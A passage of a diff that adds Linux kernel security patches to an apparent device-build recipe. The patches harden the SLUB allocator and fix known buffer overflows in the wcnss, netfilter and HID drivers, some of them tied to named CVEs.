17 00:00:00 2001 +From: Daniel Micay +Date: Mon, 23 Jan 2017 17:33:53 -0500 +Subject: [PATCH] add slub free list XOR encryption + +Based on the grsecurity feature, but with a per-cache random value. +--- + include/linux/slub_def.h | 2 ++ + mm/slub.c | 20 ++++++++++++++++---- + 2 files changed, 18 insertions(+), 4 deletions(-) + +diff --git a/include/linux/slub_def.h b/include/linux/slub_def.h +index 027276fa871..e517bfab571 100644 +--- a/include/linux/slub_def.h ++++ b/include/linux/slub_def.h +@@ -95,6 +95,8 @@ struct kmem_cache { + int max_attr_size; /* for propagation, maximum size of a stored attr */ + #endif + ++ unsigned long random; ++ + #ifdef CONFIG_NUMA + /* + * Defragmentation by allocating from a remote node. +diff --git a/mm/slub.c b/mm/slub.c +index 7430d06bc70..0aa4e121091 100644 +--- a/mm/slub.c ++++ b/mm/slub.c +@@ -33,6 +33,7 @@ + #include + #include + #include ++#include + + #include + +@@ -248,20 +249,28 @@ static inline int check_valid_pointer(struct kmem_cache *s, + + static inline void *get_freepointer(struct kmem_cache *s, void *object) + { +- return *(void **)(object + s->offset); ++ unsigned long freepointer_addr = (unsigned long)object + s->offset; ++ return (void *)(*(unsigned long *)freepointer_addr ^ s->random ^ freepointer_addr); + } + + static void prefetch_freepointer(const struct kmem_cache *s, void *object) + { +- prefetch(object + s->offset); ++ unsigned long freepointer_addr = (unsigned long)object + s->offset; ++ if (object) { ++ void **freepointer_ptr = (void **)(*(unsigned long *)freepointer_addr ^ s->random ^ freepointer_addr); ++ prefetch(freepointer_ptr); ++ } + } + + static inline void *get_freepointer_safe(struct kmem_cache *s, void *object) + { ++ unsigned long __maybe_unused freepointer_addr; + void *p; + + #ifdef CONFIG_DEBUG_PAGEALLOC +- probe_kernel_read(&p, (void **)(object + s->offset), sizeof(p)); ++ freepointer_addr = (unsigned long)object + s->offset; ++ probe_kernel_read(&p, (void **)freepointer_addr, sizeof(p)); ++ return (void *)((unsigned long)p ^ s->random ^ freepointer_addr); + #else + p = get_freepointer(s, object); + #endif +@@ -270,7 +279,8 @@ static inline void *get_freepointer_safe(struct kmem_cache *s, void *object) + + static inline void set_freepointer(struct kmem_cache *s, void *object, void *fp) + { +- *(void **)(object + s->offset) = fp; ++ unsigned long freepointer_addr = (unsigned long)object + s->offset; ++ *(void **)freepointer_addr = (void *)((unsigned long)fp ^ s->random ^ freepointer_addr); + } + + /* Loop over all objects in a slab */ +@@ -3771,6 +3781,8 @@ int __kmem_cache_create(struct kmem_cache *s, unsigned long flags) + if (err) + kmem_cache_close(s); + ++ s->random = get_random_long(); ++ + return err; + } + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0018-f0ddea1d3010-PATCH slub add multipurpose random cookies.patch b/recipes-kernel/linux/linux-bass/autopatcher/0018-f0ddea1d3010-PATCH slub add multipurpose random cookies.patch new file mode 100644 index 0000000..ef07f0b --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0018-f0ddea1d3010-PATCH slub add multipurpose random cookies.patch @@ -0,0 +1,174 @@ +From f0ddea1d3010a15b256988e96092906988ff5c8e Mon Sep 17 00:00:00 2001 +From: Daniel Micay +Date: Sun, 26 Mar 2017 23:42:31 -0400 +Subject: [PATCH] slub: add multi-purpose random cookies + +This provides basic double-free detection and acts as padding to absorb +small overflows, which are then detected on free. On 64-bit, the least +significant byte is zero to mitigate non-terminated C string overflows. +--- + include/linux/slub_def.h | 2 ++ + mm/slub.c | 59 +++++++++++++++++++++++++++++++++++++++++++++--- + 2 files changed, 58 insertions(+), 3 deletions(-) + +diff --git a/include/linux/slub_def.h b/include/linux/slub_def.h +index e517bfab571..0f5fdc8d76d 100644 +--- a/include/linux/slub_def.h ++++ b/include/linux/slub_def.h +@@ -96,6 +96,8 @@ struct kmem_cache { + #endif + + unsigned long random; ++ unsigned long random_active; ++ unsigned long random_inactive; + + #ifdef CONFIG_NUMA + /* +diff --git a/mm/slub.c b/mm/slub.c +index 0aa4e121091..bbeddb9f7a8 100644 +--- a/mm/slub.c ++++ b/mm/slub.c +@@ -199,6 +199,8 @@ struct track { + + enum track_item { TRACK_ALLOC, TRACK_FREE }; + ++static const bool slub_cookie = true; ++ + #ifdef CONFIG_SYSFS + static int sysfs_slab_add(struct kmem_cache *); + static int sysfs_slab_alias(struct kmem_cache *, const char *); +@@ -283,6 +285,36 @@ static inline void set_freepointer(struct kmem_cache *s, void *object, void *fp) + *(void **)freepointer_addr = (void *)((unsigned long)fp ^ s->random ^ freepointer_addr); + } + ++#ifdef CONFIG_64BIT ++static const unsigned long canary_mask = ~0xFFUL; ++#else ++static const unsigned long canary_mask = ~0UL; ++#endif ++ ++static inline unsigned long *get_cookie(struct kmem_cache *s, void *object) ++{ ++ if (s->offset) ++ return object + s->offset + sizeof(void *); ++ else ++ return object + s->inuse; ++} ++ ++static inline void set_cookie(struct kmem_cache *s, void *object, unsigned long value) ++{ ++ if (slub_cookie) { ++ unsigned long *cookie = get_cookie(s, object); ++ *cookie = (value ^ (unsigned long)cookie) & canary_mask; ++ } ++} ++ ++static inline void check_cookie(struct kmem_cache *s, void *object, unsigned long value) ++{ ++ if (slub_cookie) { ++ unsigned long *cookie = get_cookie(s, object); ++ BUG_ON(*cookie != ((value ^ (unsigned long)cookie) & canary_mask)); ++ } ++} ++ + /* Loop over all objects in a slab */ + #define for_each_object(__p, __s, __addr, __objects) \ + for (__p = (__addr); __p < (__addr) + (__objects) * (__s)->size;\ +@@ -310,7 +342,7 @@ static inline size_t slab_ksize(const struct kmem_cache *s) + * back there or track user information then we can + * only use the space before that information. + */ +- if (s->flags & (SLAB_DESTROY_BY_RCU | SLAB_STORE_USER)) ++ if ((s->flags & (SLAB_DESTROY_BY_RCU | SLAB_STORE_USER)) || slub_cookie) + return s->inuse; + /* + * Else we can use all the padding etc for the allocation +@@ -476,9 +508,9 @@ static struct track *get_track(struct kmem_cache *s, void *object, + struct track *p; + + if (s->offset) +- p = object + s->offset + sizeof(void *); ++ p = object + s->offset + sizeof(void *) + sizeof(void *) * slub_cookie; + else +- p = object + s->inuse; ++ p = object + s->inuse + sizeof(void *) * slub_cookie; + + return p + alloc; + } +@@ -613,6 +645,9 @@ static void print_trailer(struct kmem_cache *s, struct page *page, u8 *p) + else + off = s->inuse; + ++ if (slub_cookie) ++ off += sizeof(void *); ++ + if (s->flags & SLAB_STORE_USER) + off += 2 * sizeof(struct track); + +@@ -745,6 +780,9 @@ static int check_pad_bytes(struct kmem_cache *s, struct page *page, u8 *p) + /* Freepointer is placed after the object. */ + off += sizeof(void *); + ++ if (slub_cookie) ++ off += sizeof(void *); ++ + if (s->flags & SLAB_STORE_USER) + /* We also have user information there */ + off += 2 * sizeof(struct track); +@@ -1358,6 +1396,7 @@ static void setup_object(struct kmem_cache *s, struct page *page, + void *object) + { + setup_object_debug(s, page, object); ++ set_cookie(s, object, s->random_inactive); + if (unlikely(s->ctor)) + s->ctor(object); + } +@@ -2418,6 +2457,11 @@ static __always_inline void *slab_alloc_node(struct kmem_cache *s, + if (unlikely(gfpflags & __GFP_ZERO) && object) + memset(object, 0, s->object_size); + ++ if (object) { ++ check_cookie(s, object, s->random_inactive); ++ set_cookie(s, object, s->random_active); ++ } ++ + slab_post_alloc_hook(s, gfpflags, object); + + return object; +@@ -2621,6 +2665,9 @@ static __always_inline void slab_free(struct kmem_cache *s, + + slab_free_hook(s, x); + ++ check_cookie(s, object, s->random_active); ++ set_cookie(s, object, s->random_inactive); ++ + if (!(s->flags & (SLAB_DESTROY_BY_RCU | SLAB_POISON))) { + size_t offset = s->offset ? 0 : sizeof(void *); + memset(x + offset, 0, s->object_size - offset); +@@ -2872,6 +2919,7 @@ static void early_kmem_cache_node_alloc(int node) + init_object(kmem_cache_node, n, SLUB_RED_ACTIVE); + init_tracking(kmem_cache_node, n); + #endif ++ set_cookie(kmem_cache_node, n, kmem_cache_node->random_active); + init_kmem_cache_node(n); + inc_slabs_node(kmem_cache_node, node, page->objects); + +@@ -2985,6 +3033,9 @@ static int calculate_sizes(struct kmem_cache *s, int forced_order) + size += sizeof(void *); + } + ++ if (slub_cookie) ++ size += sizeof(void *); ++ + #ifdef CONFIG_SLUB_DEBUG + if (flags & SLAB_STORE_USER) + /* +@@ -3782,6 +3833,8 @@ int __kmem_cache_create(struct kmem_cache *s, unsigned long flags) + kmem_cache_close(s); + + s->random = get_random_long(); ++ s->random_active = get_random_long(); ++ s->random_inactive = get_random_long(); + + return err; + } diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0019-3551fa72cab5-PATCH add missing cachefromobj PageSlab check.patch b/recipes-kernel/linux/linux-bass/autopatcher/0019-3551fa72cab5-PATCH add missing cachefromobj PageSlab check.patch new file mode 100644 index 0000000..57902f1 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0019-3551fa72cab5-PATCH add missing cachefromobj PageSlab check.patch @@ -0,0 +1,22 @@ +From 3551fa72cab53e995be9676358357a18181ebf2c Mon Sep 17 00:00:00 2001 +From: Daniel Micay +Date: Sun, 22 Jan 2017 22:22:34 -0500 +Subject: [PATCH] add missing cache_from_obj !PageSlab check + +Taken from PaX. +--- + mm/slab.h | 1 + + 1 file changed, 1 insertion(+) + +diff --git a/mm/slab.h b/mm/slab.h +index 4d6d836247d..7905396cc71 100644 +--- a/mm/slab.h ++++ b/mm/slab.h +@@ -231,6 +231,7 @@ static inline struct kmem_cache *cache_from_obj(struct kmem_cache *s, void *x) + return s; + + page = virt_to_head_page(x); ++ BUG_ON(!PageSlab(page)); + cachep = page->slab_cache; + if (slab_equal_or_root(cachep, s)) + return cachep; diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0020-3ff4d133634e-PATCH real slabequalorroot check for MEMCGKMEM.patch b/recipes-kernel/linux/linux-bass/autopatcher/0020-3ff4d133634e-PATCH real slabequalorroot check for MEMCGKMEM.patch new file mode 100644 index 0000000..f7a596a --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0020-3ff4d133634e-PATCH real slabequalorroot check for MEMCGKMEM.patch @@ -0,0 +1,22 @@ +From 3ff4d133634ecb6247bf6adc487f051aa15d8ff8 Mon Sep 17 00:00:00 2001 +From: Daniel Micay +Date: Thu, 30 Mar 2017 23:05:53 -0400 +Subject: [PATCH] real slab_equal_or_root check for !MEMCG_KMEM + +--- + mm/slab.h | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/mm/slab.h b/mm/slab.h +index 7905396cc71..0c113379cbf 100644 +--- a/mm/slab.h ++++ b/mm/slab.h +@@ -196,7 +196,7 @@ static inline void memcg_release_pages(struct kmem_cache *s, int order) + static inline bool slab_equal_or_root(struct kmem_cache *s, + struct kmem_cache *p) + { +- return true; ++ return p == s; + } + + static inline const char *cache_name(struct kmem_cache *s) diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0021-b6cfdef59e58-PATCH always perform cachefromobj sanity checks.patch b/recipes-kernel/linux/linux-bass/autopatcher/0021-b6cfdef59e58-PATCH always perform cachefromobj sanity checks.patch new file mode 100644 index 0000000..f3f3f77 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0021-b6cfdef59e58-PATCH always perform cachefromobj sanity checks.patch @@ -0,0 +1,30 @@ +From b6cfdef59e586763b62ed672b1d634d1347d548e Mon Sep 17 00:00:00 2001 +From: Daniel Micay +Date: Thu, 30 Mar 2017 23:07:09 -0400 +Subject: [PATCH] always perform cache_from_obj sanity checks + +--- + mm/slab.h | 10 ---------- + 1 file changed, 10 deletions(-) + +diff --git a/mm/slab.h b/mm/slab.h +index 0c113379cbf..95c880cbe29 100644 +--- a/mm/slab.h ++++ b/mm/slab.h +@@ -220,16 +220,6 @@ static inline struct kmem_cache *cache_from_obj(struct kmem_cache *s, void *x) + struct kmem_cache *cachep; + struct page *page; + +- /* +- * When kmemcg is not being used, both assignments should return the +- * same value. but we don't want to pay the assignment price in that +- * case. If it is not compiled in, the compiler should be smart enough +- * to not do even the assignment. In that case, slab_equal_or_root +- * will also be a constant. +- */ +- if (!memcg_kmem_enabled() && !unlikely(s->flags & SLAB_DEBUG_FREE)) +- return s; +- + page = virt_to_head_page(x); + BUG_ON(!PageSlab(page)); + cachep = page->slab_cache; diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0022-af6145e068d2-PATCH panic on kmemcachefree with the wrong cache.patch b/recipes-kernel/linux/linux-bass/autopatcher/0022-af6145e068d2-PATCH panic on kmemcachefree with the wrong cache.patch new file mode 100644 index 0000000..5743190 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0022-af6145e068d2-PATCH panic on kmemcachefree with the wrong cache.patch @@ -0,0 +1,25 @@ +From af6145e068d271dc0bd6fec674ade8ab6ae94da0 Mon Sep 17 00:00:00 2001 +From: Daniel Micay +Date: Sat, 25 Mar 2017 02:46:12 -0400 +Subject: [PATCH] panic on kmem_cache_free with the wrong cache + +--- + mm/slab.h | 4 +--- + 1 file changed, 1 insertion(+), 3 deletions(-) + +diff --git a/mm/slab.h b/mm/slab.h +index 95c880cbe29..db27e934907 100644 +--- a/mm/slab.h ++++ b/mm/slab.h +@@ -226,10 +226,8 @@ static inline struct kmem_cache *cache_from_obj(struct kmem_cache *s, void *x) + if (slab_equal_or_root(cachep, s)) + return cachep; + +- pr_err("%s: Wrong slab cache. %s but object is from %s\n", ++ panic("%s: Wrong slab cache. %s but object is from %s\n", + __FUNCTION__, cachep->name, s->name); +- WARN_ON_ONCE(1); +- return s; + } + #endif + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0023-b074e084fb73-PATCH panic on PageSlab PageCompound in ksize.patch b/recipes-kernel/linux/linux-bass/autopatcher/0023-b074e084fb73-PATCH panic on PageSlab PageCompound in ksize.patch new file mode 100644 index 0000000..21fa381 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0023-b074e084fb73-PATCH panic on PageSlab PageCompound in ksize.patch @@ -0,0 +1,22 @@ +From b074e084fb737b447c0c528fe9eb5cad2109e24c Mon Sep 17 00:00:00 2001 +From: Daniel Micay +Date: Sun, 26 Mar 2017 16:24:45 -0400 +Subject: [PATCH] panic on !PageSlab && !PageCompound in ksize + +--- + mm/slub.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/mm/slub.c b/mm/slub.c +index bbeddb9f7a8..8f9693e7dd8 100644 +--- a/mm/slub.c ++++ b/mm/slub.c +@@ -3378,7 +3378,7 @@ size_t ksize(const void *object) + page = virt_to_head_page(object); + + if (unlikely(!PageSlab(page))) { +- WARN_ON(!PageCompound(page)); ++ BUG_ON(!PageCompound(page)); + return PAGE_SIZE << compound_order(page); + } + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0024-aa686a1e7f13-PATCH use kernel commandline for early entropy.patch b/recipes-kernel/linux/linux-bass/autopatcher/0024-aa686a1e7f13-PATCH use kernel commandline for early entropy.patch new file mode 100644 index 0000000..c542ef4 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0024-aa686a1e7f13-PATCH use kernel commandline for early entropy.patch @@ -0,0 +1,21 @@ +From aa686a1e7f13430a76bf1d3411bc7efe28f09519 Mon Sep 17 00:00:00 2001 +From: Daniel Micay +Date: Wed, 16 Aug 2017 14:14:00 -0400 +Subject: [PATCH] use kernel command-line for early entropy + +--- + init/main.c | 1 + + 1 file changed, 1 insertion(+) + +diff --git a/init/main.c b/init/main.c +index c0f8b335f33..fb6e10d7498 100644 +--- a/init/main.c ++++ b/init/main.c +@@ -498,6 +498,7 @@ asmlinkage void __init start_kernel(void) + page_address_init(); + pr_notice("%s", linux_banner); + setup_arch(&command_line); ++ add_device_randomness(command_line, strlen(command_line)); + /* + * Set up the the initial canary ASAP: + */ diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0025-abbb184989c4-PATCH wcnss fix 3 byte buffer overflow on MAC change.patch b/recipes-kernel/linux/linux-bass/autopatcher/0025-abbb184989c4-PATCH wcnss fix 3 byte buffer overflow on MAC change.patch new file mode 100644 index 0000000..deeac26 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0025-abbb184989c4-PATCH wcnss fix 3 byte buffer overflow on MAC change.patch @@ -0,0 +1,36 @@ +From abbb184989c4ecafa080837deb30721b2e69b3fe Mon Sep 17 00:00:00 2001 +From: Daniel Micay +Date: Tue, 26 Sep 2017 14:16:32 -0400 +Subject: [PATCH] wcnss: fix 3 byte buffer overflow on MAC change + +Change-Id: I0c47844e47d0396e4f241d4472e904b1ee7dc1bc +--- + drivers/net/wireless/wcnss/wcnss_wlan.c | 8 ++++---- + 1 file changed, 4 insertions(+), 4 deletions(-) + +diff --git a/drivers/net/wireless/wcnss/wcnss_wlan.c b/drivers/net/wireless/wcnss/wcnss_wlan.c +index 0177d9367f4..b8451f8011e 100644 +--- a/drivers/net/wireless/wcnss/wcnss_wlan.c ++++ b/drivers/net/wireless/wcnss/wcnss_wlan.c +@@ -191,7 +191,7 @@ static DEFINE_SPINLOCK(reg_spinlock); + #define WCNSS_USR_HAS_CAL_DATA (WCNSS_USR_CTRL_MSG_START + 2) + #define WCNSS_USR_WLAN_MAC_ADDR (WCNSS_USR_CTRL_MSG_START + 3) + +-#define MAC_ADDRESS_STR "%02x:%02x:%02x:%02x:%02x:%02x" ++#define MAC_ADDRESS_STR "%02hhx:%02hhx:%02hhx:%02hhx:%02hhx:%02hhx" + + /* message types */ + #define WCNSS_CTRL_MSG_START 0x01000000 +@@ -434,9 +434,9 @@ static ssize_t wcnss_wlan_macaddr_store(struct device *dev, + pr_debug("%s: Receive MAC Addr From user space: %s\n", __func__, buf); + + if (WLAN_MAC_ADDR_SIZE != sscanf(buf, MAC_ADDRESS_STR, +- (int *)&macAddr[0], (int *)&macAddr[1], +- (int *)&macAddr[2], (int *)&macAddr[3], +- (int *)&macAddr[4], (int *)&macAddr[5])) { ++ &macAddr[0], &macAddr[1], ++ &macAddr[2], &macAddr[3], ++ &macAddr[4], &macAddr[5])) { + + pr_err("%s: Failed to Copy MAC\n", __func__); + return -EINVAL; diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0026-bfe7bca9a470-PATCH wcnss Avoid user buffer overloading for write cal data.patch b/recipes-kernel/linux/linux-bass/autopatcher/0026-bfe7bca9a470-PATCH wcnss Avoid user buffer overloading for write cal data.patch new file mode 100644 index 0000000..1d06c43 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0026-bfe7bca9a470-PATCH wcnss Avoid user buffer overloading for write cal data.patch @@ -0,0 +1,29 @@ +From bfe7bca9a47005bff939f612182cce949ee59642 Mon Sep 17 00:00:00 2001 +From: Anand Kumar +Date: Tue, 21 Jun 2016 17:36:05 +0530 +Subject: [PATCH] wcnss: Avoid user buffer overloading for write cal data + +compare size of allocated cal data buffer from heap +and count bytes provided to write by user to avoid +heap overflow for write cal data. + +Change-Id: Id70c3230f761385489e5e94c613f4519239dfb1f +CRs-Fixed: 1032174 +Signed-off-by: Anand Kumar +--- + drivers/net/wireless/wcnss/wcnss_wlan.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/drivers/net/wireless/wcnss/wcnss_wlan.c b/drivers/net/wireless/wcnss/wcnss_wlan.c +index f02acb41001..a097fdf5937 100644 +--- a/drivers/net/wireless/wcnss/wcnss_wlan.c ++++ b/drivers/net/wireless/wcnss/wcnss_wlan.c +@@ -3091,7 +3091,7 @@ static ssize_t wcnss_wlan_write(struct file *fp, const char __user + return -EFAULT; + + if ((UINT32_MAX - count < penv->user_cal_rcvd) || +- MAX_CALIBRATED_DATA_SIZE < count + penv->user_cal_rcvd) { ++ (penv->user_cal_exp_size < count + penv->user_cal_rcvd)) { + pr_err(DEVICE " invalid size to write %zu\n", count + + penv->user_cal_rcvd); + rc = -ENOMEM; diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0027.diff b/recipes-kernel/linux/linux-bass/autopatcher/0027.diff new file mode 100644 index 0000000..0571eab --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0027.diff @@ -0,0 +1,129 @@ +Ben Hawkes says: + + In the mark_source_chains function (net/ipv4/netfilter/ip_tables.c) it + is possible for a user-supplied ipt_entry structure to have a large + next_offset field. This field is not bounds checked prior to writing a + counter value at the supplied offset. + +Problem is that xt_entry_foreach() macro stops iterating once +e->next_offset is out of bounds, assuming this is the last entry that +will be used. + +However, if the blob is malformed its possible that mark_source_chains +function attempts to move past the last entry iff this last entry +doesn't have a verdict/jump (i.e. evaluation continues with next rule). + +To fix this we check that the next address isn't above the blob size. + +We know from initial xt_entry_foreach that all e->next_offset values are +sane except the last entry, where last + last->next_offset brought us above +the total_size. + +Reported-by: Ben Hawkes +Signed-off-by: Florian Westphal +--- + net/ipv4/netfilter/arp_tables.c | 10 +++++++--- + net/ipv4/netfilter/ip_tables.c | 6 ++++++ + net/ipv6/netfilter/ip6_tables.c | 6 ++++++ + 3 files changed, 19 insertions(+), 3 deletions(-) + +diff --git a/net/ipv4/netfilter/arp_tables.c b/net/ipv4/netfilter/arp_tables.c +index 830bbe8..2347a5c 100644 +--- a/net/ipv4/netfilter/arp_tables.c ++++ b/net/ipv4/netfilter/arp_tables.c +@@ -439,6 +439,8 @@ static int mark_source_chains(const struct xt_table_info *newinfo, + size = e->next_offset; + e = (struct arpt_entry *) + (entry0 + pos + size); ++ if (pos + size >= newinfo->size) ++ return 0; + e->counters.pcnt = pos; + pos += size; + } else { +@@ -458,9 +460,13 @@ static int mark_source_chains(const struct xt_table_info *newinfo, + /* This a jump; chase it. */ + duprintf("Jump rule %u -> %u\n", + pos, newpos); ++ e = (struct arpt_entry *) ++ (entry0 + newpos); + } else { + /* ... this is a fallthru */ + newpos = pos + e->next_offset; ++ if (newpos >= newinfo->size) ++ return 0; + } + e = (struct arpt_entry *) + (entry0 + newpos); +@@ -690,10 +696,8 @@ static int translate_table(struct xt_table_info *newinfo, void *entry0, + } + } + +- if (!mark_source_chains(newinfo, repl->valid_hooks, entry0)) { +- duprintf("Looping hook\n"); ++ if (!mark_source_chains(newinfo, repl->valid_hooks, entry0)) + return -ELOOP; +- } + + /* Finally, each sanity check must pass */ + i = 0; +diff --git a/net/ipv4/netfilter/ip_tables.c b/net/ipv4/netfilter/ip_tables.c +index 1d72a3c..07ce901 100644 +--- a/net/ipv4/netfilter/ip_tables.c ++++ b/net/ipv4/netfilter/ip_tables.c +@@ -521,6 +521,8 @@ mark_source_chains(const struct xt_table_info *newinfo, + size = e->next_offset; + e = (struct ipt_entry *) + (entry0 + pos + size); ++ if (pos + size >= newinfo->size) ++ return 0; + e->counters.pcnt = pos; + pos += size; + } else { +@@ -539,9 +541,13 @@ mark_source_chains(const struct xt_table_info *newinfo, + /* This a jump; chase it. */ + duprintf("Jump rule %u -> %u\n", + pos, newpos); ++ e = (struct ipt_entry *) ++ (entry0 + newpos); + } else { + /* ... this is a fallthru */ + newpos = pos + e->next_offset; ++ if (newpos >= newinfo->size) ++ return 0; + } + e = (struct ipt_entry *) + (entry0 + newpos); +diff --git a/net/ipv6/netfilter/ip6_tables.c b/net/ipv6/netfilter/ip6_tables.c +index 26a5ad1..99068dc 100644 +--- a/net/ipv6/netfilter/ip6_tables.c ++++ b/net/ipv6/netfilter/ip6_tables.c +@@ -533,6 +533,8 @@ mark_source_chains(const struct xt_table_info *newinfo, + size = e->next_offset; + e = (struct ip6t_entry *) + (entry0 + pos + size); ++ if (pos + size >= newinfo->size) ++ return 0; + e->counters.pcnt = pos; + pos += size; + } else { +@@ -551,9 +553,13 @@ mark_source_chains(const struct xt_table_info *newinfo, + /* This a jump; chase it. */ + duprintf("Jump rule %u -> %u\n", + pos, newpos); ++ e = (struct ip6t_entry *) ++ (entry0 + newpos); + } else { + /* ... this is a fallthru */ + newpos = pos + e->next_offset; ++ if (newpos >= newinfo->size) ++ return 0; + } + e = (struct ip6t_entry *) + (entry0 + newpos); +-- +2.4.10 + +-- +To unsubscribe from this list: send the line "unsubscribe netfilter-devel" in +the body of a message to majordomo@vger.kernel.org +More majordomo info at http://vger.kernel.org/majordomo-info.html \ No newline at end of file diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0028-dcfd5f582c31-HID steelseries validate output report details.patch b/recipes-kernel/linux/linux-bass/autopatcher/0028-dcfd5f582c31-HID steelseries validate output report details.patch new file mode 100644 index 0000000..26ec23a --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0028-dcfd5f582c31-HID steelseries validate output report details.patch @@ -0,0 +1,44 @@ +From dcfd5f582c316c3e595c3bb28473efb30f4c2e6c Mon Sep 17 00:00:00 2001 +From: Kees Cook +Date: Wed, 11 Sep 2013 21:56:53 +0200 +Subject: HID: steelseries: validate output report details + +commit 41df7f6d43723deb7364340b44bc5d94bf717456 upstream. + +A HID device could send a malicious output report that would cause the +steelseries HID driver to write beyond the output report allocation +during initialization, causing a heap overflow: + +[ 167.981534] usb 1-1: New USB device found, idVendor=1038, idProduct=1410 +... +[ 182.050547] BUG kmalloc-256 (Tainted: G W ): Redzone overwritten + +CVE-2013-2891 + +Signed-off-by: Kees Cook +Reviewed-by: Benjamin Tissoires +Signed-off-by: Jiri Kosina +Signed-off-by: Greg Kroah-Hartman +--- + drivers/hid/hid-steelseries.c | 5 +++++ + 1 file changed, 5 insertions(+) + +diff --git a/drivers/hid/hid-steelseries.c b/drivers/hid/hid-steelseries.c +index d164911921127..29f328f411fb5 100644 +--- a/drivers/hid/hid-steelseries.c ++++ b/drivers/hid/hid-steelseries.c +@@ -249,6 +249,11 @@ static int steelseries_srws1_probe(struct hid_device *hdev, + goto err_free; + } + ++ if (!hid_validate_values(hdev, HID_OUTPUT_REPORT, 0, 0, 16)) { ++ ret = -ENODEV; ++ goto err_free; ++ } ++ + ret = hid_hw_start(hdev, HID_CONNECT_DEFAULT); + if (ret) { + hid_err(hdev, "hw start failed\n"); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0029-41df7f6d4372-HID steelseries validate output report details.patch b/recipes-kernel/linux/linux-bass/autopatcher/0029-41df7f6d4372-HID steelseries validate output report details.patch new file mode 100644 index 0000000..4e1ed86 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0029-41df7f6d4372-HID steelseries validate output report details.patch @@ -0,0 +1,42 @@ +From 41df7f6d43723deb7364340b44bc5d94bf717456 Mon Sep 17 00:00:00 2001 +From: Kees Cook +Date: Wed, 11 Sep 2013 21:56:53 +0200 +Subject: HID: steelseries: validate output report details + +A HID device could send a malicious output report that would cause the +steelseries HID driver to write beyond the output report allocation +during initialization, causing a heap overflow: + +[ 167.981534] usb 1-1: New USB device found, idVendor=1038, idProduct=1410 +... +[ 182.050547] BUG kmalloc-256 (Tainted: G W ): Redzone overwritten + +CVE-2013-2891 + +Signed-off-by: Kees Cook +Cc: stable@vger.kernel.org +Reviewed-by: Benjamin Tissoires +Signed-off-by: Jiri Kosina +--- + drivers/hid/hid-steelseries.c | 5 +++++ + 1 file changed, 5 insertions(+) + +diff --git a/drivers/hid/hid-steelseries.c b/drivers/hid/hid-steelseries.c +index d164911921127..29f328f411fb5 100644 +--- a/drivers/hid/hid-steelseries.c ++++ b/drivers/hid/hid-steelseries.c +@@ -249,6 +249,11 @@ static int steelseries_srws1_probe(struct hid_device *hdev, + goto err_free; + } + ++ if (!hid_validate_values(hdev, HID_OUTPUT_REPORT, 0, 0, 16)) { ++ ret = -ENODEV; ++ goto err_free; ++ } ++ + ret = hid_hw_start(hdev, HID_CONNECT_DEFAULT); + if (ret) { + hid_err(hdev, "hw start failed\n"); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0030-a3957df756cc-HID sensorhub validate feature report details.patch b/recipes-kernel/linux/linux-bass/autopatcher/0030-a3957df756cc-HID sensorhub validate feature report details.patch new file mode 100644 index 0000000..ec67e3d --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0030-a3957df756cc-HID sensorhub validate feature report details.patch @@ -0,0 +1,38 @@ +From a3957df756ccf3a46c24c8e2d4f8b26c932357b3 Mon Sep 17 00:00:00 2001 +From: Kees Cook +Date: Wed, 28 Aug 2013 22:31:44 +0200 +Subject: HID: sensor-hub: validate feature report details + +commit 9e8910257397372633e74b333ef891f20c800ee4 upstream. + +A HID device could send a malicious feature report that would cause the +sensor-hub HID driver to read past the end of heap allocation, leaking +kernel memory contents to the caller. + +CVE-2013-2898 + +Signed-off-by: Kees Cook +Reviewed-by: Mika Westerberg +Signed-off-by: Jiri Kosina +Signed-off-by: Greg Kroah-Hartman +--- + drivers/hid/hid-sensor-hub.c | 3 ++- + 1 file changed, 2 insertions(+), 1 deletion(-) + +diff --git a/drivers/hid/hid-sensor-hub.c b/drivers/hid/hid-sensor-hub.c +index ca74981073271..aa34755ca205e 100644 +--- a/drivers/hid/hid-sensor-hub.c ++++ b/drivers/hid/hid-sensor-hub.c +@@ -221,7 +221,8 @@ int sensor_hub_get_feature(struct hid_sensor_hub_device *hsdev, u32 report_id, + + mutex_lock(&data->mutex); + report = sensor_hub_report(report_id, hsdev->hdev, HID_FEATURE_REPORT); +- if (!report || (field_index >= report->maxfield)) { ++ if (!report || (field_index >= report->maxfield) || ++ report->field[field_index]->report_count < 1) { + ret = -EINVAL; + goto done_proc; + } +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0031-9f00b2e7cf24-PATCH bridge only expire the mdb entry when query is received.patch b/recipes-kernel/linux/linux-bass/autopatcher/0031-9f00b2e7cf24-PATCH bridge only expire the mdb entry when query is received.patch new file mode 100644 index 0000000..33c49c9 --- /dev/null +++ 